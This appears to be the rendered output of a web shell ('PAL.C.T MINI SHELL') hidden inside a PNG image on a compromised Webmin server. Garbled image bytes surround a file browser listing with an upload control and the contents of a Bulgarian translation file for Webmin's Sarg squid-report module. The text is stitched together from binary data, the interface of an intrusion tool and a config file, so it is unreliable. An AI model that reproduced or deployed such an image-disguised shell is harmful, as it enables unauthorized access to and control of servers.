php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/bg.auto

index_title=Генератор на доклади за калмари
index_econf=Конфигурационният файл Sarg $1 не беше намерен във вашата система. Може би Sarg не е инсталиран или конфигурацията на <a href='$2'>модула</a> е неправилна.
index_ecmd=Програмата за Sarg $1 не беше намерена във вашата система. Може би не е инсталиран или конфигурацията на <a href='$2'>модула</a> е неправилна.
index_eversion=Не успя да се получи версията на Sarg с командата $1 : $2 
index_version=Версия на Sarg $1 
index_generate=Генерирайте отчет сега
index_generatedesc=Щракнете върху този бутон, за да генерирате незабавно отчет за Sarg в $1, използвайки текущата конфигурация.
index_clear=Да се изтрие ли съществуващият отчет в директория?
index_range=Генериране на отчет за период от време
index_view=Вижте генериран отчет
index_viewdesc=Преглед на последно генерирания отчет в директорията $1.
index_return=индекс на модула

log_title=Изходен журнал и местоназначение на отчета
log_header=Изходен файл на журнал на калмари и генерирани опции за отчет
log_access_log=Изходен лог файл на калмари
log_squid=Текущ дневник на сървъра за калмари ($1)
log_other=Друг файл
log_output_dir=Директория на отчета за дестинация
log_output_email=Изпратете имейл до
log_nowhere=никъде
log_useragent_log=Файл на дневника на потребителския агент
log_lastlog=Брой отчети, които да се съхраняват
log_unlimit=неограничен
log_mail_utility=Команда за изпращане на поща
log_remove_temp_files=Да се изтрият ли временните файлове след отчитане?
log_err=Неуспешно запазване на опциите на източника на журнала
log_efile=Файлът не съществува
log_edir=Директория не съществува
log_elastlog=Липсва или не число
log_eemail=Липсващ или невалиден външен имейл адрес
log_emailx=Липсваща или несъществуваща пощенска програма
log_squidguard_log_path=Лог файл на SquidGuard

style_title=Доклад на стила
style_header=HTML стил на отчета и цветови опции
style_title2=Заглавие на доклада
style_font_face=Докладвайте шрифта на тялото
style_header_color=Цвят на заглавката
style_header_bgcolor=Цвят на фона на заглавката
style_header_font_size=Размер на шрифта на заглавката
style_background_color=Цвят на фона
style_text_color=Цвят на текста
style_text_bgcolor=Цвят на фона на текста
style_title_color=Цвят на заглавието
style_logo_image=Референция за изображение за лого
style_image_size=Размер на изображението (ширина и височина)
style_logo_text=Текст за лого
style_logo_text_color=Цвят на текста за лого
style_background_image=Референция за изображение за фон
style_err=Опазването на опциите за стил на отчета не бе успешно
style_etitle=Липсва заглавие на доклада
style_ecolour=Липсващо или невалидно име на цвят или RRGGBB код
style_efontsize=Липсващо или невалидно изместване на размера на шрифта
style_efont=Липсващо или невалидно име на шрифта
style_esize=Липсва или невалидна ширина и височина на изображението
style_language=Език на доклада
style_charset=Доклад на набор от знаци

report_title=Опции за отчет
report_header=Докладвайте опции за съдържание и генериране
report_resolve_ip=Разрешаване на IP адреси?
report_user_ip=Използвате IP адреси вместо потребителски идентификатори?
report_user_sort_field=Поръчка за потребителски отчет
report_topuser_sort_field=Поръчка за отчет на най-добрите потребители
report_reverse=В обратен ред
report_forward=В ред напред
report_by_user=По потребителско име
report_by_connect=С времето за свързване
report_by_bytes=По байтове
report_by_time=По времето
report_by_site=По сайт
report_exclude_users=Потребителите с списък с файлове, които трябва да се изключат
report_exclude_hosts=Хостинг на файлове с изключение
report_index=Да се генерира ли отново <tt>index.html</tt> файл?
report_only=Генерирайте <tt>index.html</tt> само
report_overwrite_report=Да презапишете отчет за дата?
report_overno=Не, преименувайте с.1
report_records_without_userid=Действие за записи без потребител?
report_ignore=Напълно игнорирайте
report_ip=Използвайте вместо това IP адрес
report_everybody=Използвайте потребителско име <tt>всички</tt>
report_use_comma=Използвайте запетая вместо. в числа?
report_topsites_num=Брой топ сайтове за показване
report_topsites_sort_order=Поръчка за отчет за най-добрите сайтове
report_sorta=Възходящ
report_sortd=Низходящ
report_index_sort_order=Поръчка за връзки в <tt>index.html</tt>
report_exclude_codes=Файл с HTTP кодове, които трябва да бъдат изключени
report_max_elapsed=Максимално изминало време (мс)
report_report_type=Отчитайте секции за генериране
report_topsites=Топ сайтове
report_topusers=Топ потребители
report_sites_users=Сайтове по потребител
report_users_sites=Потребители по сайт
report_date_time=Използване по ден и час
report_denied=Отказани сайтове
report_downloads=Downloads
report_auth_failures=Провали в удостоверяването
report_site_user_time_date=Сайтове, дати, часове и байтове
report_all=Всички отчети
report_below=Избрано по-долу ..
report_usertab=Файл за картографиране на потребителско име
report_long_url=Показване на пълните URL адреси в отчета?
report_date_time_by=Сортирайте отчета за дата/час по
report_bytes=Bytes
report_elap=Изминалото време
report_user_invalid_char=Невалидни знаци в потребителски имена
report_privacy=Скриване на посетени сайтове?
report_privacy_string=Текст за замяна на посетените сайтове
report_privacy_string_color=Цвят за заместващ текст
report_below2=Въведете по-долу ..
report_include_users=Генерирайте отчет само за потребителите
report_exclude_string=Изключете редовете от лога, съдържащи
report_allusers=Всички потребители
report_nostrings=Не изключвайте никакви
report_topuser_num=Брой на най-добрите потребители за показване
report_site_user_time_date_type=Формат на сайта, потребителя, датата и часовата таблица
report_table=HTML таблица
report_list=Текстов списък
report_displayed_values=Показване на трафика като
report_bytes2=Bytes
report_abbrev=Съкратено (K, M, G)
report_weekdays=Делнични дни за включване в отчета
report_weekdays0=Su
report_weekdays1=Мо
report_weekdays2=Ту
report_weekdays3=ние
report_weekdays4=Th
report_weekdays5=Fr
report_weekdays6=Sa
report_hours=Часове за включване в отчета
report_err=Неуспешно запазване на опциите за отчет
report_efile=Файлът не съществува
report_enum=Не число
report_echar=Пространствата не са разрешени
report_estring=Липсващ или невалиден текст за замяна
report_eselect=Нищо не е избрано
report_eenter=Нищо не влезе

sched_title=Генериране на планиран доклад
sched_header=Планирани опции за отчитане
sched_sched=Активиран ли е планиран отчет?
sched_yes=Да, на моменти, избрани по-долу ..
sched_clear=Изчистване на директорията на отчетите всеки път?
sched_dir=Справочна директория
sched_edir=На страницата <a href='$1'>източник на вход и дестинация на отчета</a> не е дефинирана директория за отчетни дестинации. Това трябва да бъде зададено, преди планираното отчитане да бъде активирано.
sched_esfile=На страницата <a href='$1'>не е определен дефиниран файл на калмари на страницата</a> Източник на регистрация и дестинация за докладване </a>. Това трябва да бъде зададено, преди планираното отчитане да бъде активирано.
sched_range=Генериране на отчет за период от време
sched_rall=Всички записи в лог файл
sched_rsel=Тези от $1 до преди $2 дни
sched_err=Неуспешно запазване на планирано генериране на отчети
sched_erfrom=Липсващ или невалиден начален брой преди дни
sched_erto=Липсващ или невалиден краен брой преди дни

view_title=Доклад Сарг
view_efile=Невалидно име на файла!
view_eopen=Неуспешно отваряне на отчетен файл

gen_title=Генериране на отчет
gen_header=Сега генерираме отчет за Sarg от лог-файл $1 и всички завъртени версии.
gen_done=.. Свършен
gen_failed=.. Сарг се провали! Вижте изхода по-горе за подробности.
gen_nothing=.. Сарг завърши, но не беше генериран доклад. Вижте изхода по-горе за подробности.
gen_view=Преглед на завършен отчет.
gen_err=Неуспешно генериране на отчет
gen_efrom=Липсва или е невалиден от деня
gen_eto=Липсва или е невалиден до ден днешен

webmin_log_log=Актуализирани източници на журнала и опции за отчитане на отчета
webmin_log_report=Актуализирани опции за отчет
webmin_log_style=Актуализирани опции за стил на отчета
webmin_log_sched_create=Активирано планирано отчитане
webmin_log_sched_delete=Деактивирано планирано отчитане
webmin_log_sched_update=Актуализирано планирано отчитане
webmin_log_sched_nothing=Лявото планирано отчитане е деактивирано
webmin_log_generate=Генериран доклад
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`